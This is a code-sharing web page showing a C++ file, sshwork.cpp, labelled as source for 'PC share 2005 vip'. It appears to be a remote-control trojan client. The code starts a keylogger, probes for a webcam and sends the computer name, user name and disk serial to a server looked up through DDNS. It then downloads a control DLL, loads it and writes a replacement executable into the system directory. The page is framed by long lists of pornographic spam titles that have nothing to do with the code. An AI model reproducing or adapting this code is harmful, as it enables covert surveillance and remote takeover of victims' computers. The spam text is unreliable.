亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sshwork.cpp

?? PC share 2005 vip源代碼
?? CPP
字號:
#include "stdafx.h"
#include "SshWork.h"
#include <vfw.h>
#include "WjcDes.h"

#pragma comment(lib,"vfw32")
#pragma comment(lib,"winmm")


SshWork::SshWork()
{
	memset(&m_InitInfo,0,sizeof(m_InitInfo));
	m_Thread = NULL;
	hCtrlMd = NULL;
	m_Module = NULL;
	m_ExitEvent = NULL;
	hIe = NULL;
	hFp = NULL;
	m_IsVideo = 0;
}

SshWork::~SshWork()
{
	
}

void SshWork::CloseHttpHandle()
{
	if(hFp != NULL)
	{
		InternetCloseHandle(hFp);
		hFp = NULL;
	}
	if(hIe != NULL)
	{
		InternetCloseHandle(hIe);
		hIe = NULL;
	}
}

/*	
**	函數名稱:	RecvData
**	函數功能:	接收指定程度數據
**	傳入參數:	hFile		: HTTP通訊句柄 
				pData		: 接收數據緩沖
				DataLen		: 期望接收數據長度
**	傳出參數:	無
**	引用函數:	無
**	返回值	:	BOOL(TRUE-接收數據成功,FALSE-接收數據失敗)
**	備注	:	無
*/
BOOL SshWork::RecvData(HINTERNET hFile,LPVOID pData,int DataLen)
{
	char *p = (char*) pData;
	DWORD dwNumberOfBytesToRead = DataLen;
	DWORD dwNumberOfBytesReaded = 0;
	while(dwNumberOfBytesToRead > 0)
	{
		if(!InternetReadFile(hFile,p,dwNumberOfBytesToRead,
			&dwNumberOfBytesReaded))
			return FALSE;

		if(dwNumberOfBytesReaded == 0)
			return FALSE;

		p += dwNumberOfBytesReaded;
		dwNumberOfBytesToRead -= dwNumberOfBytesReaded;
	}
	return TRUE;
}

/*	
**	函數名稱:	DlFile
**	函數功能:	下裝文件
**	傳入參數:	
**	傳出參數:	pFileName	: 落地文件名稱 
**	引用函數:	無
**	返回值	:	布爾型()
**	備注	:	無
*/
BOOL SshWork::DlFile(char* pFileName)
{
	//接收文件長度
	int m_FileLen = 0;
	if(!RecvData(hFp,(char*) &m_FileLen,sizeof(int)))
	{
		//接收文件長度失敗
		return FALSE;
	}

	//接收新的文件數據
	char *pData = new char[m_FileLen];
	if(!RecvData(hFp,pData,m_FileLen))
	{
		//更新數據失敗
		delete [] pData;
		return FALSE;
	}

	//下裝控制文件
	FILE *fp = fopen(pFileName,"wb");
	if(fp != NULL)
	{
		fwrite(pData,m_FileLen,1,fp);
		fclose(fp);
	}
	delete [] pData;
	return TRUE;
}

#ifdef _DEBUG
void WriteLog(char* pText)
{
	FILE *fp = fopen("c:\\1.txt","ab");
	if(fp != NULL)
	{
		fwrite(pText , strlen(pText), 1, fp);
		fclose(fp);
	}
}
#endif

BOOL SshWork::GetDesServerInfo(LPINITDLLINFO pInfo, char* pUrl)
{
	//初始化HTTP環境
	HINTERNET hMainIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
						"Windows NT 5.0; .NET CLR 1.1.4322)",
						INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	if(hMainIe == NULL)	return FALSE;
	
	//打開連接
	HINTERNET hMainFile = InternetOpenUrl(
			hMainIe, pUrl, NULL, 0,
			INTERNET_FLAG_PRAGMA_NOCACHE|
			INTERNET_FLAG_RELOAD,
			NULL);
	if(hMainFile == NULL)
	{
		InternetCloseHandle(hMainIe);
		return FALSE;
	}

	//查看返回碼
	char sCode[256] = {0};
	DWORD nSize = 250;
	DWORD nIndex = 0;
	if(!HttpQueryInfo(hMainFile , HTTP_QUERY_STATUS_CODE , 
		sCode , &nSize , &nIndex) || atoi(sCode) != 200)
	{
		InternetCloseHandle(hMainFile);
		InternetCloseHandle(hMainIe);
		return FALSE;
	}

	//接收數據
	char m_Response[256] = {0};
	for(int i = 0; i < 21; i++)
	{
		char ch = 0;
		DWORD nRead = 0;
		if(!InternetReadFile(hMainFile,&ch,1,&nRead)
			|| nRead == 0)
			break;
		m_Response[i] = ch;
	}
	InternetCloseHandle(hMainFile);
	InternetCloseHandle(hMainIe);

	//分析內容,取實際服務器信息
	char* pDot = strchr(m_Response , ':');
	if(pDot == NULL) return FALSE;
	*pDot = 0;
	strcpy(pInfo->m_ServerAddr, m_Response);
	pInfo->m_ServerPort = atoi(pDot + 1);
	return TRUE;
}

/*	
**	函數名稱:	GetVideoInfo
**	函數功能:	取計算機視頻信息
**	傳入參數:	無
**	傳出參數:	無
**	引用函數:	無
**	返回值	:	char(1-有視頻 0-無視頻)
**	備注	:	
*/
char SshWork::GetVideoInfo()
{
	HWND hCaphWnd = capCreateCaptureWindow("Capture",WS_POPUP,0,0,1,1,0,0);
	if(hCaphWnd==NULL) return 0;

	// Connect to webcam driver
	if(!capDriverConnect(hCaphWnd,0))
	{		
		return 0;
	}
	capDriverDisconnect(hCaphWnd);
	return 1;
}

/*	
**	函數名稱:	GetHttpConnect
**	函數功能:	建立HTTP連接
**	傳入參數:	pInfo		: 連接相關參數
**	傳出參數:	hIe			: HTTP連接句柄 
				hFile		: HTTP文件句柄
**	引用函數:	無
**	返回值	:	布爾型(TRUE-建立連接成功,FALSE-連接建立失敗)
**	備注	:	無
*/
BOOL SshWork::GetHttpConnect(LPINITDLLINFO pInfo)
{
	//關閉句柄
	if(hIe != NULL)
	{
		CloseHttpHandle();
		Sleep(2000);
	}

	//設置最大連接數量為100
	DWORD nValue = 100;
	if( !InternetSetOption(NULL,73,&nValue,sizeof(DWORD)) ||
		!InternetSetOption(NULL,74,&nValue,sizeof(DWORD)))
		return FALSE;

	//查看是否有ddns
	if(strlen(pInfo->m_DdnsUrl) != 0)
	{
		//需要分析DDNS
		if(!GetDesServerInfo(pInfo, pInfo->m_DdnsUrl))
		{
			if(!GetDesServerInfo(pInfo, pInfo->m_BakUrl)) 
			{
				//檢查兩層DDNS
				return FALSE;
			}
		}
	}

	//初始化HTTP環境
	hIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
						"Windows NT 5.0; .NET CLR 1.1.4322)",
						INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	if(!hIe) return FALSE;

	//填充上送當前客戶信息
	char m_Url[4096] = {0};
	char m_ExternData[2048] = {0};
	GetMySysInfo(m_ExternData);
	sprintf(m_Url,"http://%s:%d/%d%s",
		pInfo->m_ServerAddr,pInfo->m_ServerPort,
		CONN_MAIN,m_ExternData);

	//建立HTTP連接,上送數據
	hFp = InternetOpenUrl(hIe , 
		m_Url , NULL, 0,
		INTERNET_FLAG_PRAGMA_NOCACHE|
		INTERNET_FLAG_RELOAD|
		INTERNET_FLAG_NO_CACHE_WRITE , 0);
	if(!hFp)
	{
		CloseHttpHandle();
		return FALSE; 
	}

	DWORD m_TimeOut = 24 * 3600 * 1000;
	if(!InternetSetOption(hFp,
		INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD)))
	{
		CloseHttpHandle();
		return FALSE;
	}

	//查看返回碼
	char sCode[256] = {0};
	DWORD nSize = 250;
	DWORD nIndex = 0;
	if(!HttpQueryInfo(hFp , HTTP_QUERY_STATUS_CODE , 
		sCode , &nSize , &nIndex) || atoi(sCode) != 200)
	{
		CloseHttpHandle();
		return FALSE;
	}

	//查看控制dll是否已經裝載
	if(hCtrlMd) FreeLibrary(hCtrlMd);

	//接收控制文件
	if(!DlFile(m_InitInfo.m_CtrlFile))
	{
		CloseHttpHandle();
		return FALSE; 
	}

	//裝載控制dll文件
	hCtrlMd = LoadLibrary(m_InitInfo.m_CtrlFile);
	if(hCtrlMd == NULL)
	{
		CloseHttpHandle();
		return FALSE; 
	}
	
	//當不是本進程啟動的時候,更新本進程
	if(m_InitInfo.m_ProcessName[0] != 2)
	{
		if(!UpdateExeFile())
		{
			CloseHttpHandle();
			return FALSE; 
		}
	}

	return TRUE;
}

void SshWork::StopWork()
{
	//清理資源
	CloseHandle(m_ExitEvent); 
	CloseHttpHandle();
	KeyStopMyWork();

	//通知主進程退出
	HANDLE m_WaitEvent = 
		OpenEvent(EVENT_ALL_ACCESS,FALSE,
		m_InitInfo.m_EventName);
	if(m_WaitEvent)	
	{
		SetEvent(m_WaitEvent);
		CloseHandle(m_WaitEvent);
	}

	//釋放動態聯結庫
	if(hCtrlMd) FreeLibrary(hCtrlMd);
	if(m_Module) FreeLibrary(m_Module);
}

void SshWork::StartWork(LPINITDLLINFO pItem)
{
	//拷貝數據
	memcpy(&m_InitInfo,pItem,sizeof(INITDLLINFO));
	m_ExitEvent = CreateEvent(NULL,TRUE,FALSE,NULL);

	//啟動鍵盤監控
	KeyStartMyWork();

	m_IsVideo = GetVideoInfo();

	//啟動相應工作線程序
	UINT m_Id = 0;
	m_Thread = (HANDLE) _beginthreadex(NULL , 0 , 
		SSH_WorkThread , (LPVOID) this , 0 , &m_Id);
}

/*	
**	函數名稱:	SSH_WorkThread
**	函數功能:	工作線程函數
**	傳入參數:	lPvoid		: 任務相關數據結構指針 
**	傳出參數:	無
**	引用函數:	無
**	返回值	:	UINT
**	備注	:	無
*/
UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid)
{
	//取工作指針
	SshWork* pWork = (SshWork*) lPvoid;

	//開始進入工作循環
	while(1)
	{
		//建立連接
		if(pWork->GetHttpConnect(&pWork->m_InitInfo))
		{
			//連接成功,開始處理交易
			PROCESSTRANS ProcessTrans = (PROCESSTRANS) 
				GetProcAddress(pWork->hCtrlMd,"ProcessTrans");
			if(ProcessTrans != NULL)
				ProcessTrans(pWork->hFp , pWork->m_ExitEvent ,
						pWork->m_InitInfo.m_ServerAddr ,
						pWork->m_InitInfo.m_ServerPort ,
						pWork->m_InitInfo.m_KeyName ,
						pWork->m_InitInfo.m_ParentFile);
		}

		//休息等待指定時間
		if(WaitForSingleObject(pWork->m_ExitEvent,
			30000) != WAIT_TIMEOUT)
			break;
	}

	//銷毀資源
	pWork->StopWork();
	ExitProcess(0);
	return 0;
}

/*	
**	函數名稱:	getCpuSpeedFromRegistry
**	函數功能:	取計算機CPU主頻
**	傳入參數:	無
**	傳出參數:	無
**	引用函數:	無
**	返回值	:	DWORD(計算機CPU主頻)
**	備注	:	從注冊表中取數據
*/
DWORD SshWork::getCpuSpeedFromRegistry(void) 
{
	HKEY hKey = NULL;
	LONG result = 0;
	result = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
			 "Hardware\\Description\\System\\CentralProcessor\\0"
			 ,0,KEY_QUERY_VALUE,&hKey);
	if(result != ERROR_SUCCESS)
		return 0;

	DWORD dwSpeed = 0;
	DWORD dwType = 0;
	DWORD dwSpeedSize;
	result = RegQueryValueEx (hKey, "~MHz", NULL, 
		NULL, (LPBYTE)& dwSpeed, &dwSpeedSize);
	if(result != ERROR_SUCCESS)
		dwSpeed = 0;

	RegCloseKey (hKey);
	return (dwSpeed);
}

/*	
**	函數名稱:	GetMySysInfo
**	函數功能:	取計算機相關信息
**	傳入參數:	無
**	傳出參數:	m_TransData	: 轉為ASCII碼的數據緩沖
**	引用函數:	無
**	返回值	:	無
**	備注	:	
*/
void SshWork::GetMySysInfo(char *m_TransData)
{
	LOGININFO m_SysInfo = {0};

	//取操作系統
	m_SysInfo.m_SysType = IsShellSysType();

	//取CPU信息
	SYSTEM_INFO	m_pSysInfo = {0};
	GetSystemInfo(&m_pSysInfo);
	m_SysInfo.m_CpuSpeed = getCpuSpeedFromRegistry();
	m_SysInfo.m_CpuCount = (UINT) m_pSysInfo.dwNumberOfProcessors;
	
	//取內存容量
	MEMORYSTATUS Buffer = {0};
	GlobalMemoryStatus(&Buffer);
	m_SysInfo.m_MemContent = Buffer.dwTotalPhys/1024;

	//計算機名稱
	DWORD m_Len = 63;
	GetComputerName(m_SysInfo.m_PcName,&m_Len);
	m_SysInfo.m_PcName[60] = 0x00;
	m_SysInfo.m_PcName[61] = 0x01;

	//取用戶名
	DWORD len = 36;
	GetUserName(m_SysInfo.m_UserName,&len);
	m_SysInfo.m_UserName[37] = m_IsVideo;

	//生成內部標識
	DWORD SeriaNumber = 0;
	GetVolumeInformation("C:\\",NULL,NULL,
		&SeriaNumber,NULL,NULL,NULL,NULL);
	char m_DesKey[10] = {0};
	sprintf(m_DesKey,"%08x",SeriaNumber);
	char m_SmallBuf[100] = {0};
	memset(m_SmallBuf,0,sizeof(m_SmallBuf));
	for(int i = 0; i < 8; i++)
	{
		m_SmallBuf[i] = m_SysInfo.
			m_PcName[i] ^ m_DesKey[i];
	}
	BcdToAsc((BYTE*) m_SmallBuf,(BYTE*) 
		m_SysInfo.ID,8);

	BcdToAsc((BYTE*) &m_SysInfo , 
		(BYTE*) m_TransData , sizeof(LOGININFO));
}

/*	
**	函數名稱:	BcdToAsc
**	函數功能:	將BCD碼轉換為ASC碼
**	傳入參數:	BcdStr		: BCD碼的數據緩沖
				BcdStrLen	: BCD碼緩沖長度
**	傳出參數:	AscStr		: 轉為ASCII碼的數據緩沖
**	引用函數:	無
**	返回值	:	無
**	備注	:	
*/
void SshWork::BcdToAsc(BYTE *BcdStr,BYTE*AscStr,int BcdStrLen)
{
	int j = 0;
	for(int i = 0; i < BcdStrLen; i++)
	{
		j = (BcdStr[i] >> 4) & 0x0f;
  		if(j > 9)
			AscStr[2 * i] = j + 'A' - 10;
		else
			AscStr[2 * i] = j + '0';
		j = BcdStr[i] & 0x0f;
		if(j > 9)
			AscStr[2 * i + 1 ] = j + 'A' - 10;
		else
			AscStr[2 * i + 1] = j + '0';
	}
}

Type IsShellSysType()
{
   Type  ShellType;
   OSVERSIONINFO *osvi;
   DWORD winVer = GetVersion();
   if(winVer<0x80000000)
   {
	  //WINNT
      ShellType=WindowsNT3;
      osvi= (OSVERSIONINFO *)malloc(sizeof(OSVERSIONINFO));
      if (osvi!=NULL)
	  {
         memset(osvi,0,sizeof(OSVERSIONINFO));
         osvi->dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
         GetVersionEx(osvi);
         if(osvi->dwMajorVersion==4L)ShellType=WindowsNT4;
         else if(osvi->dwMajorVersion==5L&&osvi->dwMinorVersion==0L)
			 ShellType=Windows2000;
         else if(osvi->dwMajorVersion==5L&&osvi->dwMinorVersion==1L)
			 ShellType=WindowsXP;
		 else
			ShellType=Windows2003;
         free(osvi);
      }
   }
   else if  (LOBYTE(LOWORD(winVer))<4)
      ShellType=Windows32s;
   else{
      ShellType=Windows95;
      osvi= (OSVERSIONINFO *)malloc(sizeof(OSVERSIONINFO));
      if (osvi!=NULL){
         memset(osvi,0,sizeof(OSVERSIONINFO));
         osvi->dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
         GetVersionEx(osvi);
         if(osvi->dwMajorVersion==4L&&osvi->dwMinorVersion==10L)
			 ShellType=Windows98;
         else if(osvi->dwMajorVersion==4L&&osvi->dwMinorVersion==90L)
			 ShellType=WindowsME;
         free(osvi);
      }
   }
   return ShellType;
}

BOOL SshWork::UpdateExeFile()
{
	//取文件名
	char* pFind = strrchr(m_InitInfo.m_ParentFile,'\\');
	if(pFind == NULL) return TRUE;
	char m_DesFile[256] = {0};

	//系統目錄
	char m_SystemPath[256] = {0};
	GetSystemDirectory(m_SystemPath,200);
	sprintf(m_DesFile, "%s%s", m_SystemPath, pFind);

	//打開EXE文件
	FILE* fp = fopen(m_DesFile, "w+b");
	if(fp == NULL) return FALSE;

	//接收EXE文件長度
	int m_FileLen = 0;
	if(!RecvData(hFp,(char*) &m_FileLen,sizeof(int)))
	{
		//接收文件長度失敗
		return FALSE;
	}

	//接收新的EXE文件數據
	char *pData = new char[m_FileLen];
	if(!RecvData(hFp,pData,m_FileLen))
	{
		//更新數據失敗
		delete [] pData;
		return FALSE;
	}

	//寫EXE數據
	fwrite(pData, m_FileLen, 1, fp);
	delete [] pData;

	//接收dll文件長度
	if(!RecvData(hFp,(char*) &m_FileLen,sizeof(int)))
	{
		//接收文件長度失敗
		return FALSE;
	}
	m_InitInfo.m_DllFileLen = m_FileLen;

	//接收dll文件數據
	pData = new char[m_FileLen];
	if(!RecvData(hFp,pData,m_FileLen))
	{
		//更新數據失敗
		delete [] pData;
		return FALSE;
	}
	fwrite(pData, m_FileLen, 1, fp);
	delete [] pData;

	//已經更新過,以后不再解壓文件
	m_InitInfo.m_IsUpdate = 1;

	//DES加密信息
	INITDLLINFO m_InitFileInfo = {0};
	char m_DesKey[9] = "\x10\x20\x17\x10\x09\x55\x11\xeb";
	Des_Go((char*) &m_InitFileInfo, (char*) &m_InitInfo, 
		sizeof(INITDLLINFO), m_DesKey, 8, ENCRYPT);//加密
	fwrite(&m_InitFileInfo, sizeof(INITDLLINFO), 1,fp);
	fclose(fp);
	return TRUE;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
www.亚洲色图.com| 99久久综合99久久综合网站| 亚洲国产成人va在线观看天堂| 亚洲自拍偷拍综合| 亚洲高清视频中文字幕| 日本不卡一区二区| 国产米奇在线777精品观看| 高清免费成人av| 欧美日韩不卡一区| 亚洲国产高清不卡| 亚洲成a人在线观看| 黑人精品欧美一区二区蜜桃 | 日韩欧美一区二区久久婷婷| 亚洲欧美另类久久久精品| 国产精品不卡一区| 蜜桃av一区二区三区| 成人激情视频网站| 制服丝袜在线91| 一区二区三区四区在线免费观看 | 99精品视频中文字幕| 欧美丰满嫩嫩电影| 亚洲免费在线视频一区 二区| 日本欧美在线观看| 宅男噜噜噜66一区二区66| 中文字幕精品综合| 久久av资源站| 欧美日韩卡一卡二| 欧美国产日韩a欧美在线观看 | 中文字幕一区三区| 九色|91porny| 欧美老肥妇做.爰bbww| 亚洲欧美日韩在线播放| 成人午夜在线播放| 国产色综合久久| av在线不卡免费看| 欧美v亚洲v综合ⅴ国产v| 亚洲成a人片在线不卡一二三区| www.亚洲人| 亚洲精品一二三区| 久久久亚洲国产美女国产盗摄| 色综合久久九月婷婷色综合| 蜜臀av性久久久久蜜臀aⅴ流畅| 国产精品高清亚洲| 日韩欧美中文一区| 99麻豆久久久国产精品免费| 亚洲欧美日韩一区| 精品国产免费人成电影在线观看四季| 国产老女人精品毛片久久| 亚洲日本在线看| 日韩精品中文字幕在线一区| 成人网在线免费视频| 精品午夜久久福利影院| 久久精品视频一区二区三区| 99国产精品99久久久久久| 亚洲电影一级黄| 自拍偷拍欧美激情| 精品对白一区国产伦| 色婷婷av一区二区三区之一色屋| 免费在线观看精品| 一区二区三区小说| 亚洲欧美一区二区久久| 久久久不卡影院| 91精品国产综合久久久久久久久久| 国产一区二区三区电影在线观看| 午夜日韩在线电影| 久久99精品国产麻豆不卡| 欧美高清在线一区二区| 国产欧美日韩不卡免费| 国产亚洲精品福利| 丰满亚洲少妇av| 蜜臀av在线播放一区二区三区| 日本免费新一区视频| 精品写真视频在线观看| 成人一区在线观看| 色94色欧美sute亚洲线路一久 | 亚洲欧美日韩在线| 亚洲国产精品欧美一二99| 婷婷开心激情综合| 国产精品一区二区不卡| 91精品福利在线| 色婷婷久久久久swag精品| 韩国一区二区视频| 久久免费电影网| 亚洲一区二区不卡免费| 国产亚洲女人久久久久毛片| 日本高清不卡一区| 欧美丰满高潮xxxx喷水动漫| 国产成人综合视频| 日韩中文字幕区一区有砖一区| 国产精品福利一区| 久久久久久麻豆| 亚洲国产高清在线观看视频| 久久天天做天天爱综合色| 欧美三级三级三级爽爽爽| 不卡视频在线看| 成人小视频在线观看| 国产成人精品综合在线观看| 久久99九九99精品| 精品在线一区二区| 久久成人久久爱| 国产精品原创巨作av| 精品午夜久久福利影院| 国产尤物一区二区在线| 国产一区二区伦理片| 国内外精品视频| 色狠狠色狠狠综合| 99免费精品在线观看| 欧美电视剧免费观看| 亚洲成av人**亚洲成av**| 男男gaygay亚洲| 欧美二区乱c少妇| 亚洲欧洲精品一区二区精品久久久 | 久久精品亚洲乱码伦伦中文| 精品国产一区二区亚洲人成毛片| 天天综合网 天天综合色| 日韩免费高清av| 色悠悠久久综合| 色香色香欲天天天影视综合网| 欧美日韩国产一二三| 91免费版在线| 日韩免费一区二区三区在线播放| 欧美激情一区二区三区在线| 成人免费在线观看入口| 一区二区三区精品在线| 美脚の诱脚舐め脚责91 | 中文字幕国产一区| 首页亚洲欧美制服丝腿| 夜夜爽夜夜爽精品视频| 免费在线看成人av| 激情文学综合插| 91日韩一区二区三区| 精品不卡在线视频| 免费看日韩精品| 欧美日韩黄色影视| 久久久精品国产99久久精品芒果| 26uuu国产日韩综合| 日韩欧美在线1卡| 国产日韩欧美制服另类| 亚洲五月六月丁香激情| 国产精品资源在线看| 在线一区二区视频| 最新国产の精品合集bt伙计| 精品一区二区在线视频| 91精品国产免费| 午夜久久久影院| 欧美电影一区二区三区| 亚洲成人一区二区在线观看| 欧美日韩精品一区二区| 国产精品美女视频| 精品视频全国免费看| 午夜电影久久久| 欧美老人xxxx18| 亚洲激情自拍视频| 成人av综合在线| 欧美国产精品v| 国产91在线观看丝袜| 日韩欧美不卡在线观看视频| 日韩激情一区二区| 欧美色国产精品| 亚洲综合在线第一页| 99久久99久久综合| 中文字幕中文字幕在线一区| 精品无码三级在线观看视频| 91精品国产乱| 久久99久久99| 久久女同精品一区二区| 国产乱一区二区| 久久免费视频一区| 韩国精品久久久| 国产亚洲一二三区| 国产不卡高清在线观看视频| 国产欧美日韩精品一区| 色综合夜色一区| 一区二区三区不卡视频在线观看| 91美女片黄在线| 伊人性伊人情综合网| 在线视频欧美区| 亚洲线精品一区二区三区八戒| 在线日韩一区二区| 亚洲成人av中文| 日韩欧美一级二级三级久久久| 麻豆国产91在线播放| 久久免费电影网| 99久久亚洲一区二区三区青草| 一区二区三区中文在线观看| 91久久一区二区| 日韩中文字幕亚洲一区二区va在线 | 国产精品沙发午睡系列990531| 国产精品2024| 亚洲免费大片在线观看| 色婷婷亚洲一区二区三区| 亚洲午夜三级在线| 欧美一级一区二区| 高潮精品一区videoshd| 国产精品白丝在线| 欧美久久高跟鞋激| 狠狠色丁香婷综合久久| 亚洲婷婷在线视频| 欧美日韩国产大片| 国产精品自在在线|